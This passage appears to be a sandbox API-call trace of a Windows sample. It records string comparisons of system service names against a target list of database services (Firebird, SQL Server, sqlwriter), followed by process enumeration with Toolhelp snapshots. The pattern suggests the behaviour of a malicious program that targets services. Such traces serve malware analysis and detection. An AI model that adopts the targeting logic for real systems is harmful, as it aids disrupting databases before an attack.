lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0125.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0125.736] lstrlenW (lpString="DPS") returned 3 [0125.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0125.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0125.736] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0125.736] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0125.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0125.736] lstrlenW (lpString="DusmSvc") returned 7 [0125.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0125.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0125.736] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0125.736] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0125.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0125.736] lstrlenW (lpString="EventLog") returned 8 [0125.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0125.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0125.736] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0125.736] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0125.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0125.736] lstrlenW (lpString="EventSystem") returned 11 [0125.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0125.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0125.736] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0125.736] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0125.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0125.737] lstrlenW (lpString="FontCache") returned 9 [0125.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0125.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0125.737] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0125.737] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0125.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0125.737] lstrlenW (lpString="gpsvc") returned 5 [0125.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0125.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0125.737] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0125.737] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0125.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0125.737] lstrlenW (lpString="iphlpsvc") returned 8 [0125.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0125.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0125.737] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0125.737] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0125.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0125.737] lstrlenW (lpString="KeyIso") returned 6 [0125.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0125.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0125.737] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0125.737] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0125.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0125.737] lstrlenW (lpString="LanmanServer") returned 12 [0125.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0125.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0125.738] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0125.738] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0125.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0125.738] lstrlenW (lpString="LanmanWorkstation") returned 17 [0125.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0125.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0125.738] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0125.738] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0125.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0125.738] lstrlenW (lpString="lfsvc") returned 5 [0125.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0125.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0125.738] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0125.738] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0125.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0125.738] lstrlenW (lpString="lmhosts") returned 7 [0125.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0125.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0125.738] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0125.738] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0125.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0125.738] lstrlenW (lpString="LSM") returned 3 [0125.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0125.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0125.738] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0125.738] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0125.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0125.739] lstrlenW (lpString="MapsBroker") returned 10 [0125.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0125.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0125.739] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0125.739] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0125.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0125.739] lstrlenW (lpString="MpsSvc") returned 6 [0125.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0125.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0125.739] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0125.739] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0125.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0125.739] lstrlenW (lpString="NcbService") returned 10 [0125.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0125.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0125.739] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0125.739] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0125.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0125.739] lstrlenW (lpString="netprofm") returned 8 [0125.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0125.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0125.739] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0125.739] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0125.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0125.739] lstrlenW (lpString="NlaSvc") returned 6 [0125.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0125.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0125.740] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0125.740] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0125.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0125.740] lstrlenW (lpString="nsi") returned 3 [0125.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0125.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0125.740] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0125.740] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0125.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0125.740] lstrlenW (lpString="PcaSvc") returned 6 [0125.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0125.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0125.740] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0125.740] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0125.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0125.740] lstrlenW (lpString="PlugPlay") returned 8 [0125.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0125.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0125.740] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0125.740] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0125.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0125.740] lstrlenW (lpString="Power") returned 5 [0125.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0125.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0125.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0125.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0125.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0125.740] lstrlenW (lpString="ProfSvc") returned 7 [0125.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0125.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0125.741] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0125.741] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0125.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0125.741] lstrlenW (lpString="RpcEptMapper") returned 12 [0125.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.741] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0125.741] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0125.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0125.741] lstrlenW (lpString="RpcSs") returned 5 [0125.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0125.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0125.741] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0125.741] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0125.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0125.741] lstrlenW (lpString="SamSs") returned 5 [0125.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0125.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0125.741] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0125.741] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0125.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0125.741] lstrlenW (lpString="Schedule") returned 8 [0125.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0125.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0125.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0125.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0125.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0125.742] lstrlenW (lpString="SecurityHealthService") returned 21 [0125.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0125.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0125.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0125.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0125.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0125.742] lstrlenW (lpString="SENS") returned 4 [0125.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0125.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0125.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0125.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0125.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0125.742] lstrlenW (lpString="ShellHWDetection") returned 16 [0125.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.742] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0126.089] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0126.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0126.089] lstrlenW (lpString="Spooler") returned 7 [0126.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0126.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0126.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0126.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0126.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0126.089] lstrlenW (lpString="sppsvc") returned 6 [0126.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0126.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0126.090] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0126.090] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0126.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0126.090] lstrlenW (lpString="SSDPSRV") returned 7 [0126.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0126.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0126.090] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0126.090] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0126.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0126.090] lstrlenW (lpString="StateRepository") returned 15 [0126.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0126.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0126.090] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0126.090] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0126.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607720 | out: hHeap=0x5b0000) returned 1 [0126.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0126.095] Process32FirstW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.138] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.139] lstrlenW (lpString="System") returned 6 [0126.139] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.140] lstrlenW (lpString="smss.exe") returned 8 [0126.140] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.141] lstrlenW (lpString="csrss.exe") returned 9 [0126.141] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.142] lstrlenW (lpString="wininit.exe") returned 11 [0126.142] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.142] lstrlenW (lpString="csrss.exe") returned 9 [0126.142] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.143] lstrlenW (lpString="winlogon.exe") returned 12 [0126.143] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.144] lstrlenW (lpString="services.exe") returned 12 [0126.144] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.145] lstrlenW (lpString="lsass.exe") returned 9 [0126.145] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.146] lstrlenW (lpString="svchost.exe") returned 11 [0126.146] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0126.146] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0126.146] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0126.147] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0126.147] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.148] lstrlenW (lpString="svchost.exe") returned 11 [0126.148] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.149] lstrlenW (lpString="dwm.exe") returned 7 [0126.149] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.150] lstrlenW (lpString="svchost.exe") returned 11 [0126.150] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.150] lstrlenW (lpString="svchost.exe") returned 11 [0126.151] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.151] lstrlenW (lpString="svchost.exe") returned 11 [0126.151] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.152] lstrlenW (lpString="svchost.exe") returned 11 [0126.152] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.153] lstrlenW (lpString="svchost.exe") returned 11 [0126.153] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.153] lstrlenW (lpString="svchost.exe") returned 11 [0126.153] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.154] lstrlenW (lpString="svchost.exe") returned 11 [0126.154] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.155] lstrlenW (lpString="svchost.exe") returned 11 [0126.155] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.156] lstrlenW (lpString="svchost.exe") returned 11 [0126.156] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.157] lstrlenW (lpString="spoolsv.exe") returned 11 [0126.157] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.158] lstrlenW (lpString="svchost.exe") returned 11 [0126.158] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.159] lstrlenW (lpString="svchost.exe") returned 11 [0126.159] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.160] lstrlenW (lpString="audiodg.exe") returned 11 [0126.160] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0126.160] lstrlenW (lpString="sihost.exe") returned 10 [0126.161] Process32NextW (in: hSnapshot=0x35c, 